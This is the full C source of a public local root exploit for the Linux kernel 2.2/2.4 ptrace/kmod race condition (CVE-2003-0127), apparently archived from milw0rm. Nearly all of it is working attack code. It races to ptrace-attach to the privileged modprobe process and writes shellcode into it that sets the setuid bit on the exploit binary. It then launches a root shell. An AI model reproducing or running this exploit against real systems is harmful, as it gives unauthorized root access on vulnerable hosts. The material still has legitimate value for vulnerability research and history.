Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation - CVE-2003-0127

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * This code exploits a race condition in kernel/kmod.c, which creates
 * kernel thread in insecure manner. This bug allows to ptrace cloned
 * process, allowing to take control over privileged modprobe binary.
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
    "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
    "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
    "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
    "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
    "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
    perror(msg);
    kill(parent, SIGKILL);
    kill(child, SIGKILL);
    kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
    char buf[MAXPATHLEN + CODE_SIZE];
    unsigned long * src;
    int i, len;

    memcpy(buf, cliphcode, CODE_SIZE);
    len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
    if (len == -1)
        fatal("[-] Unable to read /proc/self/exe");

    len += CODE_SIZE + 1;
    buf[len] = '\0';

    src = (unsigned long*) buf;
    for (i = 0; i < len; i += 4)
        if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
            fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
    struct user_regs_struct regs;

    if (gotchild++ == 0)
        return;

    fprintf(stderr, "[+] Signal caught\n");

    if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
        fatal("[-] Unable to read registers");

    fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

    putcode((unsigned long *)regs.eip);

    fprintf(stderr, "[+] Now wait for suid shell...\n");

    if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
        fatal("[-] Unable to detach from victim");

    exit(0);
}

void sigalrm(int signo)
{
    errno = ECANCELED;
    fatal("[-] Fatal error");
}

void do_child(void)
{
    int err;

    child = getpid();
    victim = child + 1;

    signal(SIGCHLD, sigchld);

    do
        err = ptrace(PTRACE_ATTACH, victim, 0, 0);
    while (err == -1 && errno == ESRCH);

    if (err == -1)
        fatal("[-] Unable to attach");

    fprintf(stderr, "[+] Attached to %d\n", victim);
    while (!gotchild) ;
    if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
        fatal("[-] Unable to setup syscall trace");
    fprintf(stderr, "[+] Waiting for signal\n");

    for(;;);
}

void do_parent(char * progname)
{
    struct stat st;
    int err;
    errno = 0;
    socket(AF_SECURITY, SOCK_STREAM, 1);
    do {
        err = stat(progname, &st);
    } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

    if (err == -1)
        fatal("[-] Unable to stat myself");

    alarm(0);
    system(progname);
}

void prepare(void)
{
    if (geteuid() == 0) {
        initgroups("root", 0);
        setgid(0);
        setuid(0);
        execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
        fatal("[-] Unable to spawn shell");
    }
}

int main(int argc, char ** argv)
{
    prepare();
    signal(SIGALRM, sigalrm);
    alarm(10);

    parent = getpid();
    child = fork();
    victim = child + 1;

    if (child == -1)
        fatal("[-] Unable to fork");

    if (child == 0)
        do_child();
    else
        do_parent(argv[0]);

    return 0;
}

// milw0rm.com [2003-03-30]